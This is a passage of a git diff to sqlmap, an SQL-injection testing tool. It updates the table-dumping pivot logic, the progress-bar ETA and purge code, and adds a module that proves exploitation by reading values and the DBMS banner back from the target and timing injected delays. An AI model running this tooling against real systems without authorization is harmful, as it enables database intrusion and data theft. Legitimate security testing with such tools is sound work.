getFileItems(paths.COMMON_PARAMETERS, unique=True) if _ and _ not in existing] + + if not candidates: + return + + logger.info("mining for hidden GET parameters (%d candidate name(s))" % len(candidates)) + + base, baseCode = _fetch(baseGet) + if not base: + singleTimeWarnMessage("could not obtain a baseline response, skipping parameter mining") + return + + floor = _ratio(base, _fetch(baseGet)[0]) # the target's own between-request jitter + + found = _discover(candidates, baseGet, base, floor) + + for name, reason in found: + logger.info("found hidden parameter '%s' (%s)" % (name, reason)) + + if not found: + logger.info("no hidden parameters found") + return + + _commit(found, baseGet, baseCode) diff --git a/lib/utils/pivotdumptable.py b/lib/utils/pivotdumptable.py index 392c3aaf91b..96a30d58c89 100644 --- a/lib/utils/pivotdumptable.py +++ b/lib/utils/pivotdumptable.py @@ -1,33 +1,43 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2015 sqlmap developers (http://sqlmap.org/) -See the file 'doc/COPYING' for copying permission +Copyright (c) 2006-2026 sqlmap developers (https://sqlmap.org) +See the file 'LICENSE' for copying permission """ import re -from extra.safe2bin.safe2bin import safechardecode from lib.core.agent import agent from lib.core.bigarray import BigArray from lib.core.common import Backend +from lib.core.common import filterNone +from lib.core.common import getSafeExString from lib.core.common import isNoneValue from lib.core.common import isNumPosStrValue +from lib.core.common import prioritySortColumns from lib.core.common import singleTimeWarnMessage from lib.core.common import unArrayizeValue from lib.core.common import unsafeSQLIdentificatorNaming +from lib.core.compat import xrange +from lib.core.convert import getConsoleLength +from lib.core.convert import getUnicode from lib.core.data import conf +from lib.core.data import kb from lib.core.data import logger from lib.core.data import queries +from lib.core.dicts import DUMP_REPLACEMENTS from lib.core.enums import CHARSET_TYPE from lib.core.enums import EXPECTED from lib.core.exception import SqlmapConnectionException from lib.core.exception import SqlmapNoneDataException -from lib.core.settings import MAX_INT +from lib.core.settings import NULL +from lib.core.settings import SINGLE_QUOTE_MARKER from lib.core.unescaper import unescaper from lib.request import inject +from lib.utils.safe2bin import safechardecode +from thirdparty.six import unichr as _unichr -def pivotDumpTable(table, colList, count=None, blind=True): +def pivotDumpTable(table, colList, count=None, blind=True, alias=None): lengths = {} entries = {} @@ -35,13 +45,14 @@ def pivotDumpTable(table, colList, count=None, blind=True): validColumnList = False validPivotValue = False + compositePivot = None if count is None: query = dumpNode.count % table - query = whereQuery(query) + query = agent.whereQuery(query) count = inject.getValue(query, union=False, error=False, expected=EXPECTED.INT, charsetType=CHARSET_TYPE.DIGITS) if blind else inject.getValue(query, blind=False, time=False, expected=EXPECTED.INT) - if isinstance(count, basestring) and count.isdigit(): + if hasattr(count, "isdigit") and count.isdigit(): count = int(count) if count == 0: @@ -49,7 +60,7 @@ def pivotDumpTable(table, colList, count=None, blind=True): logger.info(infoMsg) for column in colList: - lengths[column] = len(column) + lengths[column] = getConsoleLength(column) entries[column] = [] return entries, lengths @@ -61,37 +72,41 @@ def pivotDumpTable(table, colList, count=None, blind=True): lengths[column] = 0 entries[column] = BigArray() - colList = filter(None, sorted(colList, key=lambda x: len(x) if x else MAX_INT)) + colList = prioritySortColumns(filterNone(colList)) if conf.pivotColumn: - if any(re.search(r"(.+\.)?%s" % re.escape(conf.pivotColumn), _, re.I) for _ in colList): - infoMsg = "using column '%s' as a pivot " % conf.pivotColumn - infoMsg += "for retrieving row data" - logger.info(infoMsg) + for _ in colList: + if re.search(r"(.+\.)?%s" % re.escape(conf.pivotColumn), _, re.I): + infoMsg = "using column '%s' as a pivot " % conf.pivotColumn + infoMsg += "for retrieving row data" + logger.info(infoMsg) - validPivotValue = True - colList.remove(conf.pivotColumn) - colList.insert(0, conf.pivotColumn) - else: + colList.remove(_) + colList.insert(0, _) + + validPivotValue = True + break + + if not validPivotValue: warnMsg = "column '%s' not " % conf.pivotColumn warnMsg += "found in table '%s'" % table - logger.warn(warnMsg) + logger.warning(warnMsg) if not validPivotValue: for column in colList: infoMsg = "fetching number of distinct " - infoMsg += "values for column '%s'" % column + infoMsg += "values for column '%s'" % column.replace(("%s." % alias) if alias else "", "") logger.info(infoMsg) query = dumpNode.count2 % (column, table) - query = whereQuery(query) + query = agent.whereQuery(query) value = inject.getValue(query, blind=blind, union=not blind, error=not blind, expected=EXPECTED.INT, charsetType=CHARSET_TYPE.DIGITS) if isNumPosStrValue(value): validColumnList = True if value == count: - infoMsg = "using column '%s' as a pivot " % column + infoMsg = "using column '%s' as a pivot " % column.replace(("%s." % alias) if alias else "", "") infoMsg += "for retrieving row data" logger.info(infoMsg) @@ -101,43 +116,67 @@ def pivotDumpTable(table, colList, count=None, blind=True): break if not validColumnList: - errMsg = "all column name(s) provided are non-existent" + errMsg = "all provided column name(s) are non-existent" raise SqlmapNoneDataException(errMsg) + if not validPivotValue: + # No single column holds all-distinct values. Fall back to a COMPOSITE pivot (a + # concatenation of every column) whose combined value is unique per row, so rows sharing + # a value in every individual column are no longer silently dropped (ref: #1545). + _composite = agent.concatQuery(','.join(colList)) + query = dumpNode.count2 % (_composite, table) + query = agent.whereQuery(query) + value = inject.getValue(query, blind=blind, union=not blind, error=not blind, expected=EXPECTED.INT, charsetType=CHARSET_TYPE.DIGITS) + + if isNumPosStrValue(value) and int(value) == count: + infoMsg = "using a concatenation of all columns as a " + infoMsg += "composite pivot for retrieving row data" + logger.info(infoMsg) + + compositePivot = _composite + lengths[compositePivot] = 0 + entries[compositePivot] = BigArray() + colList.insert(0, compositePivot) + validPivotValue = True + if not validPivotValue: warnMsg = "no proper pivot column provided (with unique values)." warnMsg += " It won't be possible to retrieve all rows" - logger.warn(warnMsg) + logger.warning(warnMsg) pivotValue = " " breakRetrieval = False + def _(column, pivotValue): + if column == colList[0]: + query = dumpNode.query.replace("'%s'" if unescaper.escape(pivotValue, False) != pivotValue else "%s", "%s") % (agent.preprocessField(table, column), table, agent.preprocessField(table, column), unescaper.escape(pivotValue, False)) + else: + query = dumpNode.query2.replace("'%s'" if unescaper.escape(pivotValue, False) != pivotValue else "%s", "%s") % (agent.preprocessField(table, column), table, agent.preprocessField(table, colList[0]), unescaper.escape(pivotValue, False) if SINGLE_QUOTE_MARKER not in dumpNode.query2 else pivotValue) + + query = agent.whereQuery(query) + return unArrayizeValue(inject.getValue(query, blind=blind, time=blind, union=not blind, error=not blind)) + try: for i in xrange(count): if breakRetrieval: break for column in colList: - def _(pivotValue): - if column == colList[0]: - query = dumpNode.query.replace("'%s'", "%s") % (agent.preprocessField(table, column), table, agent.preprocessField(table, column), unescaper.escape(pivotValue, False)) - else: - query = dumpNode.query2.replace("'%s'", "%s") % (agent.preprocessField(table, column), table, agent.preprocessField(table, colList[0]), unescaper.escape(pivotValue, False)) - - query = whereQuery(query) - - return unArrayizeValue(inject.getValue(query, blind=blind, time=blind, union=not blind, error=not blind)) - - value = _(pivotValue) + value = _(column, pivotValue) if column == colList[0]: if isNoneValue(value): - for pivotValue in filter(None, (" " if pivotValue == " " else None, "%s%s" % (pivotValue[0], unichr(ord(pivotValue[1]) + 1)) if len(pivotValue) > 1 else None, unichr(ord(pivotValue[0]) + 1))): - value = _(pivotValue) - if not isNoneValue(value): - break - if isNoneValue(value): + try: + for pivotValue in filterNone((" " if pivotValue == " " else None, "%s%s" % (pivotValue[0], _unichr(ord(pivotValue[1]) + 1)) if len(pivotValue) > 1 else None, _unichr(ord(pivotValue[0]) + 1))): + value = _(column, pivotValue) + if not isNoneValue(value): + break + except ValueError: + pass + + if isNoneValue(value) or value == NULL: breakRetrieval = True break + pivotValue = safechardecode(value) if conf.limitStart or conf.limitStop: @@ -152,33 +191,25 @@ def _(pivotValue): value = "" if isNoneValue(value) else unArrayizeValue(value) - lengths[column] = max(lengths[column], len(value) if value else 0) + lengths[column] = max(lengths[column], getConsoleLength(DUMP_REPLACEMENTS.get(getUnicode(value), getUnicode(value)))) entries[column].append(value) except KeyboardInterrupt: + kb.dumpKeyboardInterrupt = True + warnMsg = "user aborted during enumeration. sqlmap " warnMsg += "will display partial output" - logger.warn(warnMsg) + logger.warning(warnMsg) - except SqlmapConnectionException, e: - errMsg = "connection exception detected. sqlmap " + except SqlmapConnectionException as ex: + errMsg = "connection exception detected ('%s'). sqlmap " % getSafeExString(ex) errMsg += "will display partial output" - errMsg += "'%s'" % e - logger.critical(errMsg) - return entries, lengths - -def whereQuery(query): - if conf.dumpWhere and query: - prefix, suffix = query.split(" ORDER BY ") if " ORDER BY " in query else (query, "") - - if "%s)" % conf.tbl.upper() in prefix.upper(): - prefix = re.sub(r"(?i)%s\)" % re.escape(conf.tbl), "%s WHERE %s)" % (conf.tbl, conf.dumpWhere), prefix) - elif re.search(r"(?i)\bWHERE\b", prefix): - prefix += " AND %s" % conf.dumpWhere - else: - prefix += " WHERE %s" % conf.dumpWhere + logger.critical(errMsg) - query = "%s ORDER BY %s" % (prefix, suffix) if suffix else prefix + # The composite pivot is a synthetic paging key, not a real column - drop it from the output + if compositePivot is not None: + entries.pop(compositePivot, None) + lengths.pop(compositePivot, None) - return query + return entries, lengths diff --git a/lib/utils/progress.py b/lib/utils/progress.py index 98397d81e09..97e58a9bb91 100644 --- a/lib/utils/progress.py +++ b/lib/utils/progress.py @@ -1,14 +1,20 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2015 sqlmap developers (http://sqlmap.org/) -See the file 'doc/COPYING' for copying permission +Copyright (c) 2006-2026 sqlmap developers (https://sqlmap.org) +See the file 'LICENSE' for copying permission """ -from lib.core.common import getUnicode +from __future__ import division + +import time + from lib.core.common import dataToStdout +from lib.core.convert import getUnicode from lib.core.data import conf from lib.core.data import kb +from lib.core.settings import ETA_DISPLAY_SMOOTHING +from lib.core.settings import IS_TTY class ProgressBar(object): """ @@ -17,18 +23,19 @@ class ProgressBar(object): def __init__(self, minValue=0, maxValue=10, totalWidth=None): self._progBar = "[]" - self._oldProgBar = "" self._min = int(minValue) self._max = int(maxValue) self._span = max(self._max - self._min, 0.001) self._width = totalWidth if totalWidth else conf.progressWidth self._amount = 0 - self._times = [] + self._start = time.time() # begin timing at construction, so the first completed item already yields an estimate + self._eta = None # last estimated seconds-remaining and when it was computed, so tick() + self._etaAt = None # can keep the countdown live between (possibly slow) item updates self.update() def _convertSeconds(self, value): seconds = value - minutes = seconds / 60 + minutes = seconds // 60 seconds = seconds - (minutes * 60) return "%.2d:%.2d" % (minutes, seconds) @@ -52,7 +59,7 @@ def update(self, newAmount=0): percentDone = min(100, int(percentDone)) # Figure out how many hash bars the percentage should be - allFull = self._width - len("100%% [] %s/%s ETA 00:00" % (self._max, self._max)) + allFull = self._width - len("100%% [] %s/%s (ETA 00:00)" % (self._max, self._max)) numHashes = (percentDone / 100.0) * allFull numHashes = int(round(numHashes)) @@ -62,27 +69,47 @@ def update(self, newAmount=0): elif numHashes == allFull: self._progBar = "[%s]" % ("=" * allFull) else: - self._progBar = "[%s>%s]" % ("=" * (numHashes - 1), - " " * (allFull - numHashes)) + self._progBar = "[%s>%s]" % ("=" * (numHashes - 1), " " * (allFull - numHashes)) # Add the percentage at the beginning of the progress bar percentString = getUnicode(percentDone) + "%" self._progBar = "%s %s" % (percentString, self._progBar) - def progress(self, deltaTime, newAmount): + def progress(self, newAmount): """ - This method saves item delta time and shows updated progress bar with calculated eta + Redraw the bar with an ETA from the average time per completed item so far, applied to the items + still remaining: (elapsed / done) * (max - newAmount). The remaining-item count is (max - newAmount) + - i.e. at 1/3 it estimates the 2 items left, at 2/3 the 1 left - not just the current item. """ - if len(self._times) <= ((self._max * 3) / 100) or newAmount > self._max: - eta = None + now = time.time() + if newAmount > self._max: # counter rollover/reset -> restart timing + self._start = now + self._eta = None + + done = newAmount - self._min + elapsed = now - self._start + target = (elapsed / done) * (self._max - newAmount) if (done > 0 and elapsed > 0) else None + + if target is None: + self._eta = None + elif self._eta is None: + self._eta = target # first estimate: nothing to ease from else: - midTime = sum(self._times) / len(self._times) - midTimeWithLatest = (midTime + deltaTime) / 2 - eta = midTimeWithLatest * (self._max - newAmount) + current = max(0, self._eta - (now - self._etaAt)) # what is on screen now (already decremented by tick()) + self._eta = ETA_DISPLAY_SMOOTHING * current + (1 - ETA_DISPLAY_SMOOTHING) * target # ease into the fresh estimate - self._times.append(deltaTime) + self._etaAt = now self.update(newAmount) + self.draw(self._eta) + + def tick(self): + """ + Redraw the current bar with its ETA decremented by real elapsed time, so the countdown stays + live between updates (e.g. during a long time-based wait) instead of freezing at the last estimate + """ + + eta = None if self._eta is None else max(0, self._eta - (time.time() - self._etaAt)) self.draw(eta) def draw(self, eta=None): @@ -90,15 +117,13 @@ def draw(self, eta=None): This method draws the progress bar if it has changed """ - if self._progBar != self._oldProgBar: - self._oldProgBar = self._progBar - dataToStdout("\r%s %d/%d%s" % (self._progBar, self._amount, self._max, (" ETA %s" % self._convertSeconds(int(eta))) if eta is not None else "")) - if self._amount >= self._max: - if not conf.liveTest: - dataToStdout("\r%s\r" % (" " * self._width)) - kb.prependFlag = False - else: - dataToStdout("\n") + if not IS_TTY: # a progress bar is a terminal animation; suppress it when piped/redirected (as done for other '\r' output) + return + + dataToStdout("\r%s %d/%d%s" % (self._progBar, self._amount, self._max, (" (ETA %s)" % (self._convertSeconds(int(eta)) if eta is not None else "??:??")))) + if self._amount >= self._max: + dataToStdout("\r%s\r" % (" " * self._width)) + kb.prependFlag = False def __str__(self): """ diff --git a/lib/utils/prove.py b/lib/utils/prove.py new file mode 100644 index 00000000000..fccd275dc98 --- /dev/null +++ b/lib/utils/prove.py @@ -0,0 +1,393 @@ +#!/usr/bin/env python + +""" +Copyright (c) 2006-2026 sqlmap developers (https://sqlmap.org) +See the file 'LICENSE' for copying permission +""" + +import os + +from lib.core.common import Backend +from lib.core.common import average +from lib.core.common import openFile +from lib.core.common import randomInt +from lib.core.common import stdev +from lib.core.common import unArrayizeValue +from lib.core.common import urldecode +from lib.core.data import conf +from lib.core.data import kb +from lib.core.data import logger +from lib.core.data import queries +from lib.core.enums import CHARSET_TYPE +from lib.core.enums import EXPECTED +from lib.core.enums import HTTPMETHOD +from lib.core.enums import PAYLOAD +from lib.core.enums import PLACE +from lib.core.settings import INFERENCE_MARKER +from lib.core.settings import SLEEP_TIME_MARKER +from lib.request.inject import getValue + +# how many times a true/false condition is re-evaluated to demonstrate repeatability (kills false positives) +PROVE_REPETITIONS = 5 + +# comparison knobs that decide true/false at request time (lib/request/comparison.py reads these globals, +# not injection.conf); they must be re-pointed at the injection being proven or the oracle returns None +_COMPARISON_ATTRS = ("string", "notString", "regexp", "code", "textOnly", "titles") + +# width the field labels are padded to, so the values line up in a clean column +_LABEL_WIDTH = 9 + + +def _field(label, value): + """ + Renders one 'Label: value' line (value column aligned), with any extra list items as continuation + lines indented under the value. + """ + + lines = list(value) if isinstance(value, (list, tuple)) else [value] + indent = " " * (_LABEL_WIDTH + 2) + retVal = "%s:%s%s" % (label, " " * (_LABEL_WIDTH - len(label) + 1), lines[0] if lines else "") + for extra in lines[1:]: + retVal += "\n%s%s" % (indent, extra) + return retVal + + +def _activateInjection(injection): + """ + Points the global comparison configuration (and kb.injection) at the injection being proven, so the + boolean oracle / data retrieval use that injection's own distinguishing signal regardless of what the + globals drifted to during enumeration. Returns the previous state for restoration. + """ + + saved = dict((_, getattr(conf, _)) for _ in _COMPARISON_ATTRS) + saved["injection"] = kb.injection + + for attr in _COMPARISON_ATTRS: + setattr(conf, attr, getattr(injection.conf, attr, None)) + kb.injection = injection + + return saved + + +def _restoreInjection(saved): + kb.injection = saved.pop("injection") + for attr, value in saved.items(): + setattr(conf, attr, value) + + +def _booleanOracle(expression): + """ + Evaluates a boolean expression strictly through the boolean (inferential) technique. UNION/error are + forced off on purpose: for a multi-technique injection getValue() would try those first, and a WAF/IPS + that blocks their function-heavy payloads makes them return None, which (with expectingNone) short- + circuits the whole call before the boolean technique is ever reached - the real cause of a 0/0 reading. + """ + + return getValue(expression, expected=EXPECTED.BOOL, charsetType=CHARSET_TYPE.BINARY, suppressOutput=True, expectingNone=True, union=False, error=False, time=False) + + +def _signalArtifacts(expression): + """ + Evaluates 'expression' through the boolean oracle and reads back the (HTTP code, page <title>) of the + response it produced (queryPage stores both in thread data), so the boolean proof can quote the actual + TRUE/FALSE codes and titles rather than a generic flag. Returns (None, None) on any error. + """ + + from lib.core.common import extractRegexResult, getCurrentThreadData + from lib.core.settings import HTML_TITLE_REGEX + + try: + _booleanOracle(expression) + threadData = getCurrentThreadData() + return threadData.lastCode, (extractRegexResult(HTML_TITLE_REGEX, threadData.lastPage or "") or "").strip() + except Exception: + return None, None + + +def _proveBoolean(injection, signal=None): + """ + Demonstrates deterministic boolean control, rendered with the distinguishing signal sqlmap already + auto-selected (--string / --code / --title), repeated to show it is stable (not a fluke). The signal + line quotes the actual distinguishing artifact: the matched string, the two HTTP codes, or the two + page titles - so a reader sees exactly what tells TRUE from FALSE. + + When a mutable 'signal' dict is supplied it is filled with the distinguishing artifact (code-based? + and the TRUE/FALSE HTTP codes) so the caller can tell a genuine signal from a blocked-response (WAF) + artifact - a TRUE condition that yields an HTTP 4xx is a block, not a database answer. + """ + + retVal = [] + n = randomInt() + + trues = sum(1 for _ in range(PROVE_REPETITIONS) if _booleanOracle("%d=%d" % (n, n))) + falses = sum(1 for _ in range(PROVE_REPETITIONS) if _booleanOracle("%d=%d" % (n, n + 1)) is False) + + line = "condition %d=%d returns TRUE (%d/%d) while %d=%d returns FALSE (%d/%d)" % (n, n, trues, PROVE_REPETITIONS, n, n + 1, falses, PROVE_REPETITIONS) + if trues == PROVE_REPETITIONS and falses == PROVE_REPETITIONS: + line += ", repeatably" # only claim repeatability when every repetition agreed + retVal.append(line) + + trueCode = trueTitle = falseCode = falseTitle = None + if injection.conf.code or injection.conf.titles: # fetch the real artifacts only when the signal needs them + trueCode, trueTitle = _signalArtifacts("%d=%d" % (n, n)) + falseCode, falseTitle = _signalArtifacts("%d=%d" % (n, n + 1)) + + if signal is not None: + signal["codeBased"] = bool(injection.conf.code) + signal["trueCode"], signal["falseCode"] = trueCode, falseCode + + if injection.conf.string: + retVal.append("the response contains %s only when the condition is TRUE" % repr(injection.conf.string).lstrip('u')) + elif injection.conf.notString: + retVal.append("the response contains %s only when the condition is FALSE" % repr(injection.conf.notString).lstrip('u')) + elif injection.conf.code: + if trueCode and falseCode and trueCode != falseCode: + retVal.append("the response returns HTTP %s when the condition is TRUE and HTTP %s when it is FALSE" % (trueCode, falseCode)) + else: + retVal.append("the response returns HTTP %s only when the condition is TRUE (a different code otherwise)" % injection.conf.code) + elif injection.conf.titles: + if trueTitle and falseTitle and trueTitle != falseTitle: + retVal.append("the page title is %s when the condition is TRUE and %s when it is FALSE" % (repr(trueTitle).lstrip('u'), repr(falseTitle).lstrip('u'))) + else: + retVal.append("the page <title> differs between the TRUE and FALSE responses") + else: + retVal.append("the TRUE response matches the original page while the FALSE one differs (content similarity)") + + return retVal + + +def _proveTime(injection): + """ + Demonstrates time-based blind in plain IT language (jitter / latency / controlled delay), keeping the + statistics under the hood. Where the payload uses a parameterizable delay (SLEEP(n)/pg_sleep(n)/WAITFOR), + it sweeps the injected delay (0 / T / 2T seconds) and shows the response time tracks it ~1:1 - a controlled + delay that network latency or a slow page cannot reproduce. Otherwise (heavy-query delays) it falls back to + a baseline-vs-jitter statement. + """ + + from lib.core.agent import agent + from lib.core.common import getCurrentThreadData, popValue, pushValue + from lib.request.connect import Connect as Request + + retVal = [] + stype = PAYLOAD.TECHNIQUE.TIME if PAYLOAD.TECHNIQUE.TIME in injection.data else PAYLOAD.TECHNIQUE.STACKED + vector = (injection.data.get(stype) or {}).get("vector") + + def _baselineStatement(): + baseline = kb.responseTimes.get(kb.responseTimeMode) or [] + if len(baseline) >= 2: + return "a TRUE condition delays the response well beyond the target's normal latency ~%.3fs (jitter ~%.3fs), repeatably" % (average(baseline), stdev(baseline)) + return "a TRUE condition delays the response well beyond the target's normal latency and jitter, repeatably" + + if not (vector and SLEEP_TIME_MARKER in vector): + retVal.append(_baselineStatement()) + return retVal + + n = randomInt() + base = conf.timeSec or 5 + measurements = [] + + benign = [] + for _ in range(3): + try: + Request.queryPage(timeBasedCompare=True, raise404=False, silent=True) + benign.append(getCurrentThreadData().lastQueryDuration) + except Exception: + pass + for k in (0, base, 2 * base): + pushValue(conf.timeSec) + conf.timeSec = k + try: + query = agent.suffixQuery(agent.prefixQuery(vector.replace(INFERENCE_MARKER, "%d=%d" % (n, n)))) + Request.queryPage(agent.payload(newValue=query), timeBasedCompare=True, raise404=False, silent=True) + measurements.append((k, getCurrentThreadData().lastQueryDuration)) + except Exception: + measurements.append((k, None)) + finally: + conf.timeSec = popValue() + + if any(d is None for _, d in measurements): + retVal.append(_baselineStatement()) + return retVal + + d0, dT, d2T = (measurements[0][1], measurements[1][1], measurements[2][1]) + baseAvg = average(benign) if benign else d0 + baseStd = stdev(benign) if len(benign) >= 2 else 0.0 + + # only claim 1:1 scaling if the measurements actually track the injected seconds: 0s stays near baseline, + # Ts ~ T, 2Ts ~ 2T, monotonic. A heavy-query delay (e.g. SQLite RANDOMBLOB) also rides [SLEEPTIME] but + # does NOT scale linearly, so it must NOT be rendered as 1:1 (its sweep is noisy / non-monotonic) + linear = d0 < max(0.5, base * 0.5) and abs(dT - base) <= base * 0.5 and abs(d2T - 2 * base) <= base * 0.6 and d2T > dT + + if linear: + retVal.append("normal response ~%.3fs (jitter ~%.3fs); injected delay %s" % (baseAvg, baseStd, " ".join("%ds -> %.2fs" % (k, d) for k, d in measurements))) + retVal.append("the response slows ~1:1 with the injected delay - a controlled delay that network latency or a slow page cannot reproduce (the 0s case returns at normal speed)") + else: + retVal.append("a TRUE condition makes the response take ~%.2fs versus ~%.3fs normal (jitter ~%.3fs), repeatably" % (max(dT, d2T), baseAvg, baseStd)) + retVal.append("a FALSE condition returns at normal speed - a sustained delay neither network latency nor a slow page reproduces") + + return retVal + + +def _retrieveProof(): + """ + Reads values back through the injection to prove it - DBMS-agnostic, weakest-to-strongest: + + 1. a random arithmetic product (e.g. 48391*60128): every SQL engine evaluates it, it needs no + table/function/FROM (valid even on Oracle), so its WAF surface is tiny - yet the operands are + random, so reading the exact product back proves the back-end actually executed injected SQL + (not a reflected constant); + 2. the DBMS banner: a real datum the application never returns on its own (the strongest proof). + + Whatever evasion the run already adopted (tamper scripts) applies here too - this is not tied to any one + DBMS or tamper. Returns a list of (label, text) rungs; both, one, or none may be present. + """ + + from lib.request import inject + + retVal = [] + + a, b = randomInt(4), randomInt(4) # 4-digit operands: product stays < 2^31 so it never overflows a 32-bit INT (e.g. PostgreSQL int4), yet is unguessable + try: + result = inject.getValue("%d*%d" % (a, b), expected=EXPECTED.INT, charsetType=CHARSET_TYPE.DIGITS, resumeValue=False, suppressOutput=True) + except Exception: + result = None + if result is not None and ("%s" % result).strip() == str(a * b): + retVal.append(("Computed", "%d*%d = %d returned by the back-end - it executed the injected SQL (works on any DBMS)" % (a, b, a * b))) + + label = value = None + for requested, candidate, lbl in ( # reuse a value the user's own switches already pulled + (conf.getBanner, getattr(kb.data, "banner", None), "back-end DBMS banner"), + (conf.getCurrentUser, getattr(kb.data, "currentUser", None), "current database user"), + (conf.getCurrentDb, getattr(kb.data, "currentDb", None), "current database"), + ): + if requested and candidate: + label, value = lbl, unArrayizeValue(candidate) + break + + if value is None: + dbms = Backend.getIdentifiedDbms() + banner = getattr(queries.get(dbms), "banner", None) if dbms else None + query = getattr(banner, "query", None) if banner else None + if query: + try: + value = unArrayizeValue(inject.getValue(query, safeCharEncode=False, suppressOutput=True)) + label = "back-end DBMS banner" + except Exception: + value = None + + if value: + retVal.append(("Retrieved", "%s %s - a real value read out of the back-end (the strongest proof)" % (label, repr(value).lstrip('u')))) + + return retVal + + +def proveExploitation(): + """ + Renders a report-grade, best-effort demonstration of exploitation for the confirmed injection point + (option '--proof'), in the same style as sqlmap's injection-point summary so it reads naturally: the + target URL and the confirmed injection point (parameter / type / title / payload), then the strongest + proof first - an actual value read out of the back-end (drilling from the plain read to a more evasive + one so a WAF/IPS does not stop it) - backed by a deterministic boolean differential (rendered with the + distinguishing --string/--code/--title signal) or a statistical time-based demonstration. Written both + to stdout and to '<output>/proof.txt'. + """ + + if not kb.injections or not any(getattr(_, "place", None) for _ in kb.injections): + return + + injection = kb.injection if getattr(kb.injection, "place", None) else kb.injections[0] + + signal = {} + saved = _activateInjection(injection) + try: + if PAYLOAD.TECHNIQUE.BOOLEAN in injection.data: + stype = PAYLOAD.TECHNIQUE.BOOLEAN + proof = _proveBoolean(injection, signal) + elif PAYLOAD.TECHNIQUE.TIME in injection.data or PAYLOAD.TECHNIQUE.STACKED in injection.data: + stype = PAYLOAD.TECHNIQUE.TIME if PAYLOAD.TECHNIQUE.TIME in injection.data else PAYLOAD.TECHNIQUE.STACKED + proof = _proveTime(injection) + elif PAYLOAD.TECHNIQUE.ERROR in injection.data: + stype = PAYLOAD.TECHNIQUE.ERROR + proof = ["the back-end error message returns the requested value directly"] + elif PAYLOAD.TECHNIQUE.UNION in injection.data: + stype = PAYLOAD.TECHNIQUE.UNION + proof = ["the requested value is rendered inside the application response"] + else: + stype = next(iter(injection.data), None) + proof = [] + + rungs = _retrieveProof() + finally: + _restoreInjection(saved) + + from lib.core.agent import agent + + target = conf.url or "" + if conf.parameters.get(PLACE.GET) and "?" not in target: # spell out the full GET target, not just the path + target += "?%s" % conf.parameters[PLACE.GET] + + paramType = conf.method if conf.method not in (None, HTTPMETHOD.GET, HTTPMETHOD.POST) else injection.place + sdata = injection.data.get(stype) + + fields = [_field("Target", target)] + if conf.parameters.get(PLACE.POST): + fields.append(_field("Data", conf.parameters[PLACE.POST])) + fields.append(_field("Parameter", "%s (%s)" % (injection.parameter, paramType))) + if sdata is not None: + fields.append(_field("Technique", PAYLOAD.SQLINJECTION[stype])) + if sdata.payload: + payload = urldecode(agent.adjustLateValues(sdata.payload), unsafe="&", spaceplus=(injection.place != PLACE.GET and kb.postSpaceToPlus)) + fields.append(_field("Payload", payload)) + # Reading a value back out of the back-end is the GATE, not a bonus: it is the only thing that + # distinguishes a real injection from a differential that merely correlates with the payload. A + # WAF/IPS that answers blocked payloads with a distinct HTTP status (e.g. 403 when TRUE, 200 when + # FALSE) reproduces a perfect, repeatable boolean differential WITHOUT any SQL ever executing - so + # the differential alone is exactly the signal detection already (mis)read. If nothing could be read + # back, exploitation is NOT proven; say so plainly instead of echoing the detection verdict. + proven = bool(rungs) + + # whether ANY confirmed technique here can return data inline; a stacked-query-only point cannot, so a + # failed read-back below is expected there and must NOT be spun into a "false positive" verdict + canReadBack = any(_ in injection.data for _ in (PAYLOAD.TECHNIQUE.BOOLEAN, PAYLOAD.TECHNIQUE.ERROR, PAYLOAD.TECHNIQUE.UNION, PAYLOAD.TECHNIQUE.TIME)) + + if proven: + if proof: + fields.append(_field("Proof", proof)) + for label, text in rungs: + fields.append(_field(label, text)) + header = "sqlmap proved exploitation of the following injection point" + else: + if proof: + fields.append(_field("Observed", proof)) # the differential is observed, but unconfirmed + suspectWaf = bool(signal.get("codeBased")) and (signal.get("trueCode") or 0) >= 400 + wafInterfering = suspectWaf or kb.droppingRequests or bool(kb.identifiedWafs) + verdict = ["no value could be read back through the injection (tried a random arithmetic product and the DBMS banner)"] + if suspectWaf: + verdict.append("the TRUE/FALSE difference is only an HTTP %s (blocked) response - characteristic of a WAF/IPS, not a database answer" % signal.get("trueCode")) + if not canReadBack: + # e.g. stacked-query-only: no confirmed technique returns data inline, so a value cannot be read + # back here - that is expected by design and is NOT evidence of a false positive + verdict.append("this injection point exposes no data-returning channel (e.g. stacked queries), so a value cannot be read back inline - expected here, not a false positive") + verdict.append("=> confirm exploitation through a side effect instead (e.g. '--os-shell', or '--sql-query' run with '--technique=S')") + elif wafInterfering: + # behind a WAF, an unconfirmed read-back is ambiguous: a genuine injection whose data-retrieval + # payloads are being blocked looks the same as a pure WAF artifact - so don't assert "false + # positive", point the user at the way to disambiguate instead + verdict.append("a WAF/IPS is interfering: this may be a real injection whose data-retrieval is blocked, or a false positive") + verdict.append("=> exploitation is NOT proven; re-test directly (no WAF) or with --tamper, then re-prove") + else: + verdict.append("=> exploitation is NOT proven; the reported injection is likely a FALSE POSITIVE") + fields.append(_field("Verdict", verdict)) + header = "sqlmap could NOT prove exploitation of the reported injection point" + + data = "\n".join(fields) + conf.dumper.string(header, data) + + try: + path = os.path.join(conf.outputPath or ".", "proof.txt") + with openFile(path, "w+") as f: + f.write("%s:\n---\n%s\n---\n" % (header, data)) + logger.info("proof of exploitation written to '%s'" % path) + except Exception: + pass diff --git a/lib/utils/purge.py b/lib/utils/purge.py index 1447f8061ae..a290f93f773 100644 --- a/lib/utils/purge.py +++ b/lib/utils/purge.py @@ -1,17 +1,21 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2015 sqlmap developers (http://sqlmap.org/) -See the file 'doc/COPYING' for copying permission +Copyright (c) 2006-2026 sqlmap developers (https://sqlmap.org) +See the file 'LICENSE' for copying permission """ +import functools import os import random import shutil import stat import string +from lib.core.common import getSafeExString +from lib.core.convert import getUnicode from lib.core.data import logger +from lib.core.settings import PURGE_BLOCK_SIZE def purge(directory): """ @@ -20,7 +24,7 @@ def purge(directory): if not os.path.isdir(directory): warnMsg = "skipping purging of directory '%s' as it does not exist" % directory - logger.warn(warnMsg) + logger.warning(warnMsg) return infoMsg = "purging content of directory '%s'..." % directory @@ -30,8 +34,8 @@ def purge(directory): dirpaths = [] for rootpath, directories, filenames in os.walk(directory): - dirpaths.extend([os.path.abspath(os.path.join(rootpath, _)) for _ in directories]) - filepaths.extend([os.path.abspath(os.path.join(rootpath, _)) for _ in filenames]) + dirpaths.extend(os.path.abspath(os.path.join(rootpath, _)) for _ in directories) + filepaths.extend(os.path.abspath(os.path.join(rootpath, _)) for _ in filenames) logger.debug("changing file 